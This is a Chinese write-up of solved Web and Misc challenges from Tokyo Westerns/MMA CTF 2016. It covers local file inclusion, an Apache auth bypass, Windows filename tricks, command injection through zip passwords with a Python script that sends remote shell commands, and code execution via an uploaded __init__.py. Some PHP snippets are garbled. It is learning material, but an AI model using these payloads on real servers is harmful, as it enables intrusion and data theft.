洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一下脑瓜的感觉。总之很多题还是很有趣的,适合研究学习一番。
以下是洒家做出来的几道小题,类型仅限Web和Misc,给各位看官参考。
关于:
T3JpZ2luYWwgQXJ0aWNsZTogd3d3LmNuYmxvZ3MuY29tL2dvMmJlZC8
Global Page
Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
![参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp_第1张图片](http://img.e-com-net.com/image/info8/4682bd0e960449a68b35f0efaf3468c6.png)
这就说明 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf 中$_GET['page'] 代表目录,Accept-Language中的语言代表目录下的文件名部分。
直接访问/flag.php 和 用 /?page=ctf Accept-Language: ../flag 并没有输出。
进一步探测: /?page=to.k/yo 仍然正常显示,说明$_GET['page']删除了 . / 符号,并自动在末尾添加 / 。
经过一番尝试,洒家突然发现报错信息里面include()路径开始部分并没有其他东西,那么就可以使用php://协议读取源码。
base64解码即可。
同样的方法,当然可以读取index.php 的源码
php ini_set('display_errors', 1); include "flag.php"; ?>php } else { foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) { $l = trim(explode(";", $lang)[0]); ?>Global Page php $dir = ""; if(isset($_GET['page'])) { $dir = str_replace(['.', '/'], '', $_GET['page']); } if(empty($dir)) { ?>
$l==='he')?" class=rtl":""?>> php include "$dir/$l.php"; ?>
php } } ?>
Rescue Data 1: deadnas
Problem
Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z
Hint 1: The NAS used RAID.
Hint 2: RAID-5
crashed :-(
![参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp_第3张图片](http://img.e-com-net.com/image/info8/27eb5e81d9bb4ab8ab471ad24513df93.png)
洒家一开始尝试了多种RAID-5类型和块大小,后来发现瞎JB试也不行,直接十六进制查看器看数据块在多小尺度上有明显边界。
如下图所示,3FF0 到 4000 之间有明显边界,说明块大小最大为0x4000 / 1024 = 16K。一开始洒家尝试的512K是明显错误的。而最终的块大小为512B,这一点当然可能也可以从16进制编辑器中看出来。
Get the admin password!
Problem
Get the admin password!
http://gap.chal.ctf.westerns.tokyo/
You can use test:test
Poems
Problem
Read the first poem.
http://poems.chal.ctf.westerns.tokyo
poems.7z
Server: Ubuntu 16.04 + Apache2
Hint1:(2016-09-04 11:05 UTC)
- Password cracking is unnecessary.
Hint2:(2016-09-04 17:02 UTC)
- You can access to admin page without user id or password.
这题很有趣,在没放hint的时候就做出来了,洒家感到贼开心。主要用到了Apache的htpasswd绕过,URL重写等。一开始洒家找到了一个任意文件(除了最关键的list.txt)读取漏洞,后来发现完全走了弯路。
题目给了源码,又是喜闻乐见的Slim框架。主要后端逻辑在/src/routes.php。
主要的保存用户发送的Poem逻辑是:
发送的name和poem被json_encode() 储存在/poems/data/中,文件名为随机的16进制的文件中。文件名集中储存在/poems/list.txt。题目目标是读取第一篇Poem。由于文件名不可预知,必须先读取list.txt。
另外含有 /admin,PHP代码中没有任何防护 ,但是实际访问的时候要求密码。这是在Apache中设置的。
check_poem_id()保证了无法通过 GET /poems?p=../list.txt 读取 list.txt。然而上图中除了check_poem_id()并没有对 $poem_id进行其他的检验,因此可以读取任意其他文件(不能是json格式,否则会被当作poem文件解析显示):
读取 /etc/passwd
想到上文所述/admin密码问题,读取/etc/apache2/sites-enabled/000-default.conf
读取 /etc/apache2/htpasswd ,admin密码是MD5加盐的,尝试破解了很长时间最终也是难度太高破解失败。
洒家这是开始考虑绕过/admin 的密码。
思考一番后,突然想到.htaccess URL重写,豁然开朗。
RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [QSA,L]
之间洒家直接访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
出现flag:
最后看来,这道题源码中显而易见的任意文件读取漏洞的发展方向是无底洞,让洒家走了不少弯路,最终的解法竟然这么简单。
Rotten Uploader
Problem
Find the secret file.
http://rup.chal.ctf.westerns.tokyo/
Hint1 (2016/09/04 16:31)
- The files/directories on the DOCUMENT_ROOT are below four.
- download.php
- file_list.php
- index.php
- uploads(directory)
- The number of files in the DOCUMENT_ROOT/uploads is 5. The directory have "index.html".
- You don't need scan tools.
这一题文件给的清清楚楚,显然/uploads/里面有个文件名无法预知的文件包含flag。download.php 可以下载任意文件(除了file_list.php)。那么就下载一堆东西:
download.php
php header("Content-Type: application/octet-stream"); if(stripos($_GET['f'], 'file_list') !== FALSE) die(); readfile('uploads/' . $_GET['f']); // safe_dir is enabled. ?>
第三行大小写不敏感地过滤,无法下载包含'file_list'的文件。
读取index.php,发现flag文件的文件名就在file_list.php中。index.php显示了3个文件: test.cpp,test.c,test.rb。
代码非常简单,貌似坚不可摧。洒家尝试了一番无果。等等,大小写不敏感,为什么要用stripos()?
大小写真的不敏感。原来是个Windows系统。坚不可摧的代码还是有漏洞。
洒家使用兼容MS-DOS的8.3短文件名绕过。
答案就很明显了。
2016年9月18日更新
洒家看老外的Writeup,发现了一种奇技淫巧的解法:
GET /download.php?f=F< HTTP/1.1
这样可以直接下载f/F开头无扩展名的文件。
实验发现,在Windows系统中, < 符号可以代替扩展名的一部分,如果没有扩展名(没有 . )就可以代替全部。
例如此目录下有 index.php
D:\www\test>type "index<" 系统找不到指定的文件。 D:\www\test>type "index<" 系统找不到指定的文件。 D:\www\test>type "index.<" php readfile('./FL<'); D:\www\test>type "index.p<" php readfile('./FL<'); D:\www\test>type "index.php<" php readfile('./FL<'); D:\www\test>type "index.php<<<" php readfile('./FL<');
然而网上搜不到关于这个的玩法。真是奇技淫巧。
glance
Problem
I saw this through a gap of the door on a train.
洒家看见这题就乐了,题目挺有想法的。直接MATLAB提取所有图片帧,然后洒家的做法是写个HTML放满标签(懒得再编程了)
————————————
2016年9月16日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目
ZIP Cracker
Problem
here is useful tool for hackers!
http://zipcracker.chal.ctf.westerns.tokyo/
这一题洒家一看就是命令注入,然而搞了半天也没有注入成功。看了老外的Writeup(https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953 ,https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/)才豁然开朗:当勾选use unzip时,fcrackzip-1.0猜测的可能的压缩密码才参与命令注入。洒家一直尝试的是把命令注入的恶意代码放到字典里,然而大概fcrackzip-1.0的原理并不是一个一个暴力破解,恶意代码不被猜测为可能的密码就不会发生命令注入。
洒家犯的第二个错误是,index.php 存在源码泄露(.index.php.swp)(好吧,说好的不用扫描器)。洒家是Google了返回的字符串(Possible password: paSSw0rd () 和 Password Found ! pw ==p@ssw0rd)才意识到这不是用unzip暴力破解,而是用了fcrackzip-1.0。
洒家走的一个弯路是:洒家在文件名上做了很多文章,然而命令用的是 tmp_name,此处并不能注入。
用vim recovery .index.php.swp之后,主要部分的代码如下:
php if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) { if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) { // Do you remember 430387 ? $zip = $_FILES['zip']['tmp_name']; $dict = $_FILES['dict']['tmp_name']; $option = "-D -p $dict"; if(isset($_POST['unzip'])) { $option = "-u ".$option; } $cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip"; $res = shell_exec($cmd); } else { $res = 'file is too large.'; } } else { $res = 'file is missing'; } ?>
上文提到的韩国博客中找到了fcrackzip 的源码:
// main.c int REGPARAM check_unzip (const char *pw) { char buff[1024]; int status; sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]); status = system (buff); #undef REDIR if (status == EXIT_SUCCESS) { printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw); exit (EXIT_SUCCESS); } return !status; }
可见漏洞发生在对 fcrackzip 使用 -u 参数时,fcrackzip 会调用 unzip 验证可能的密码,验证时直接拼接shell命令字符串造成命令注入。
由此洒家构造一个密码为 ";ls;echo" 的 zip文件,勾选unzip 结果为:
第一个unzip 缺少了文件名参数所以显示了错误信息。
那么搞一个密码为 ";cat flag.php;# 的zip,结果如下
得到flag: TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}
对了,前面PHP源码提到的430387指的是 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19
Debian Bug report logs - #430387
[PATCH] `fcrackzip --use-unzip' cannot deal with file names containing a single quote
洒家改了改 https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ 中的脚本,做了个“终端”:
import requests import json import subprocess import os import re def delTmpFiles(): try: os.remove('zipped.zip') os.remove('dict.txt') except OSError: pass def postCmd(cmd): password = '";'+cmd+';#' # password of zip file zipfilename = 'zipfile.zip' #the zip name that gets posted dictfilename = 'dictionary.txt' #the dict name that gets posted dictfilecontents = """password1\npassword12\npassword123\n"""+password+"""\n1\n""" #dictionary file contents unzip = True #print password #print dictfilecontents #password = 'password1' #zips the random.txt file with password into zipped.zip subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q']) dictfile = open('dict.txt', 'wb') dictfile.write(dictfilecontents) dictfile.close() url = "http://zipcracker.chal.ctf.westerns.tokyo/" multiple_files = [ ('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')), ('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain')) ] data = {} if unzip: data['unzip'] = 'on' r = requests.post(url, files=multiple_files, data=data) #print r.text return r.text def getOutput(html): pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S) result = pattern.findall(html) if len(result) == 1: return result[0] else: print 'fail. Original html: ' print html return '' def main(): with open('random.txt','wb') as f: f.write('abcdefg') cmd = raw_input('>>> ') while cmd != '': print getOutput(postCmd(cmd)) delTmpFiles() cmd = raw_input('>>> ') os.remove('random.txt') if __name__ == '__main__': main()
Tsurai Web
2016年9月18日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目
本题参考资料: https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/
Problem
http://tweb.chal.ctf.westerns.tokyo/
Mirror: http://tweb2.chal.ctf.westerns.tokyo/
tweb.7z
漏洞成因
洒家研究了半天也没发现漏洞,直到看了老外的博客才恍然大悟:
__import__ 函数的顺序问题。
如果 有 /aabb/__init__.py 和 /aabb.py, __import__('aabb') 会优先去搜索并包含前者。
因此上传 一个 __init__.py (前端验证限制文件类型,轻松绕过)到 md5(用户名) 目录,当
config = __import__(h(session.get('username')))
时就会执行任意Python命令。由于 import 时需要 imgs 列表,老外的做法是:
x = __import__("subprocess") imgs = [] imgs.append(x.check_output('cat flag', shell=True))
当然洒家也可以这样搞:
imgs = [] fflag = open('flag','rb').read() imgs.append(fflag)
效果是只剩下一张图片,文件名就是flag。